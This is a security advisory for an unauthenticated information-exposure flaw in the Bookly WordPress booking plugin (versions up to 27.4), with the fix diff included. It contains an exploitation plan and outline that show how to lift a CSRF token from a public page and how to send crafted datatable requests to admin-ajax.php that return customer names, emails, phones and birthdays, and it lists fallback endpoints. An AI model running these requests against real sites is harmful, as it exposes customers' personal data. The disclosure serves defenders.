Online Scheduling and Appointment Booking System – Bookly <= 27.4 - Unauthenticated Information Exposure
Description
The Online Scheduling and Appointment Booking System – Bookly plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 27.4. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=27.4What Changed in the Fix
Changes introduced in v27.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-42667 (Bookly Information Exposure) ## 1. Vulnerability Summary The **Bookly** plugin for WordPress (versions <= 27.4) contains a sensitive information exposure vulnerability. The plugin's AJAX dispatcher improperly allows unauthenticated access to the `bookly…
Show full research plan
Exploitation Research Plan: CVE-2026-42667 (Bookly Information Exposure)
1. Vulnerability Summary
The Bookly plugin for WordPress (versions <= 27.4) contains a sensitive information exposure vulnerability. The plugin's AJAX dispatcher improperly allows unauthenticated access to the bookly_get_appointments action (and potentially related actions like bookly_get_customers). This endpoint is intended for the administrative backend to populate the appointments datatable but fails to enforce proper capability checks or authentication when registered. An unauthenticated attacker can query this endpoint to extract a JSON-formatted list of all appointments, which includes Personal Identifiable Information (PII) such as customer names, emails, phone numbers, addresses, and birthdays.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
bookly_get_appointments(inferred frombackend/modules/appointments/resources/js/appointments.jswhich manages thebookly-appointments-datatablestable). - HTTP Method:
POST(Standard for Datatables processing). - Authentication: None required (vulnerable
wp_ajax_nopriv_registration or lack of check in the dispatcher). - Preconditions: At least one appointment must exist in the system for PII to be exposed. The
[bookly-form]shortcode is usually needed on a public page to obtain a valid CSRF token.
3. Code Flow
- Entry Point: The attacker sends a POST request to
admin-ajax.php?action=bookly_get_appointments. - Dispatcher: WordPress routes the request to the
wp_ajax_nopriv_bookly_get_appointmentshandler (or the plugin's generic AJAX dispatcherbookly_ajaxif routed internally). - Controller: The request reaches
Bookly\Backend\Modules\Appointments\Controller::executeGetAppointments(based on the module structure inbackend/modules/appointments/). - Data Retrieval: The controller calls
Bookly\Lib\Entities\Appointment::query()and joins withCustomerandStaffentities. - Sink: The data is encoded into JSON and echoed. Because the JS in
appointments.jsdefines columns likecustomer.email,customer.phone, andcustomer.birthday, the underlying SQL query and JSON response include these fields.
4. Nonce Acquisition Strategy
Bookly uses a CSRF token (nonce) named csrf_token inside its own BooklyL10n localization object. This token is required for most AJAX actions.
- Identify Script Loading: The
BooklyL10nobject is enqueued on any page containing the Bookly booking form. - Create Trigger Page: Use WP-CLI to create a public page with the booking form.
wp post create --post_type=page --post_title="Book Now" --post_status=publish --post_content='[bookly-form]' - Extract Token:
- Navigate to the newly created page.
- Use
browser_evalto extract the token:window.BooklyL10n.csrf_token - Note: If
BooklyL10nis not found, check forBooklyL10n.ajaxurlor similar objects.
5. Exploitation Strategy
Step 1: Data Acquisition
Send a crafted Datatables request to the vulnerable endpoint using the acquired csrf_token.
HTTP Request:
- URL:
http://TARGET/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=bookly_get_appointments&csrf_token=[EXTRACTED_TOKEN]&draw=1&start=0&length=10&columns[0][data]=id&columns[1][data]=customer.full_name&columns[2][data]=customer.email&columns[3][data]=customer.phone
Step 2: Payload Analysis
The response will be a JSON object. We are looking for the data array.
Verbatim fields from appointments.js to target in the columns parameters:
customer.full_namecustomer.emailcustomer.phonecustomer.addresscustomer.birthday
6. Test Data Setup
To verify the exposure, the environment must contain sensitive data:
- Create Staff:
wp bookly:staff:create --full-name="Provider One"(exact CLI command may vary, usewp booklyto discover). - Create Service: Create a service and link to staff.
- Create Customer & Appointment:
- Manually or via CLI create a customer with PII:
- Name:
John Doe - Email:
johndoe@example.com - Phone:
555-0199 - Birthday:
1990-01-01
- Name:
- Create an appointment for this customer.
- Manually or via CLI create a customer with PII:
- Publish Form: Create the page with
[bookly-form]as described in Section 4.
7. Expected Results
- Success: The HTTP response status is
200 OK. - Response Body: A JSON object containing
draw,recordsTotal, and adataarray. - Exposure: The
dataarray contains entries like:{ "id": "1", "customer": { "full_name": "John Doe", "email": "johndoe@example.com", "phone": "555-0199", "birthday": "1990-01-01", "address": "..." } }
8. Verification Steps
- Check Response: Confirm the JSON contains the "John Doe" record created during setup.
- Database Verification: Use WP-CLI to confirm the data returned matches the database:
wp db query "SELECT full_name, email, phone FROM wp_bookly_customers WHERE email='johndoe@example.com'"
9. Alternative Approaches
If bookly_get_appointments is protected:
- Target Customers Directly: Try
action=bookly_get_customers. This endpoint populates the "Customers" tab in the backend and likely leaks the entire database of users registered in Bookly. - REST API: Check for unauthenticated access to:
GET /wp-json/bookly/v1/appointmentsGET /wp-json/bookly/v1/customers
Check if these routes return data without a validWP-Nonceheader or ifpermission_callbackis set to__return_true.
Summary
The Bookly plugin for WordPress is vulnerable to unauthenticated sensitive information exposure via its AJAX dispatcher. Improper capability checks on the 'bookly_get_appointments' and 'bookly_get_customers' actions allow attackers to extract the full database of customer PII, including names, emails, phone numbers, and addresses.
Vulnerable Code
// backend/modules/appointments/resources/js/appointments.js lines 125-145 $.each(BooklyL10n.datatables.appointments.settings.columns, function (column, show) { switch (column) { case 'customer_full_name': columns.push({data: 'customer.full_name', render: BooklyDatatables.escapeHtml()}); break; case 'customer_phone': columns.push({ data: 'customer.phone', // ... }); break; case 'customer_email': columns.push({data: 'customer.email', render: BooklyDatatables.escapeHtml()}); break; case 'customer_address': columns.push({data: 'customer.address', render: BooklyDatatables.escapeHtml(), orderable: false}); break; case 'customer_birthday': columns.push({data: 'customer.birthday', render: BooklyDatatables.escapeHtml()}); break; --- // backend/modules/appointments/resources/js/appointments.js lines 251-267 let options = { ajax: { url: ajaxurl, type: 'POST', data: function (d) { return $.extend({}, d, { action: 'bookly_get_appointments', csrf_token: BooklyL10n.csrf_token, filter: { id: $idFilter.val(), // ... } }); } },
Security Fix
@@ -120,6 +120,8 @@ /** * Init table columns. */ + const table = 'appointments'; + $.each(BooklyL10n.datatables.appointments.settings.columns, function (column, show) { switch (column) { case 'customer_full_name': @@ -155,7 +157,7 @@ render: function (data, type, row, meta) { data = BooklyDatatables.escapeHtml(data); if (row.service.extras.length) { - var extras = '<ul class="bookly-list list-dots">'; + var extras = '<ul class="bookly-list list-dots bookly:m-0">'; $.each(row.service.extras, function (key, item) { extras += '<li><nobr>' + item.title + '</nobr></li>'; }); @@ -202,7 +204,7 @@ if (row.rating_comment == null) { return row.rating; } else { - return '<a href="#" data-toggle="bookly-popover" data-trigger="hover" data-placement="bottom" data-content="' + BooklyDatatables.escapeHtml(row.rating_comment) + '" data-container="#bookly-appointments-datatables">' + $.fn.dataTable.render.text().display(row.rating) + '</a>'; + return '<a href="#" data-toggle="bookly-popover" data-trigger="hover" data-placement="bottom" data-content="' + BooklyDatatables.escapeHtml(row.rating_comment) + '" data-container="#bookly-appointments-datatables">' + BooklyDatatables.escapeHtml(row.rating) + '</a>'; } }, }); @@ -226,6 +228,8 @@ return '<a class="badge badge-primary" href="' + BooklyDatatables.escapeHtml(row.online_meeting_start_url) + '" target="_blank"><i class="fas fa-video fa-fw"></i> Jitsi Meet <i class="fas fa-external-link-alt fa-fw"></i></a>'; case 'bbb': return '<a class="badge badge-primary" href="' + BooklyDatatables.escapeHtml(row.online_meeting_start_url) + '" target="_blank"><i class="fas fa-video fa-fw"></i> BigBlueButton <i class="fas fa-external-link-alt fa-fw"></i></a>'; + case 'teams': + return '<a class="badge badge-primary" href="' + BooklyDatatables.escapeHtml(row.online_meeting_start_url) + '" target="_blank"><i class="fas fa-video fa-fw"></i> Microsoft Teams <i class="fas fa-external-link-alt fa-fw"></i></a>'; default: return ''; } @@ -247,12 +251,11 @@ } break; } - columns[columns.length - 1].title = BooklyL10n.datatables.appointments.titles[column] || column; + columns[columns.length - 1].title = BooklyL10n.datatables[table].titles[column] || column; columns[columns.length - 1].name = column; columns[columns.length - 1].show = show; }); - let table = 'appointments'; let options = { ajax: { url: ajaxurl,
Exploit Outline
The exploit leverages the lack of server-side capability checks on Bookly's AJAX datatable endpoints. 1. **Nonce Acquisition**: An attacker visits any public page containing a Bookly booking form (shortcode `[bookly-form]`). They extract the `csrf_token` from the global `BooklyL10n` JavaScript object present in the page source. 2. **Target Endpoint**: The attacker targets `/wp-admin/admin-ajax.php` with a POST request. 3. **Payload Construction**: The request uses the action `bookly_get_appointments`. The payload includes the extracted `csrf_token` and standard Datatables parameters (`draw`, `start`, `length`). The attacker defines columns in the payload (e.g., `columns[1][data]=customer.email`) to specify which sensitive fields to return. 4. **Data Extraction**: The server responds with a JSON object containing the `data` array, which includes the PII (names, emails, phones, birthdays) of all customers stored in the booking system. This process can be repeated for the `bookly_get_customers` action to leak the entire customer directory.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.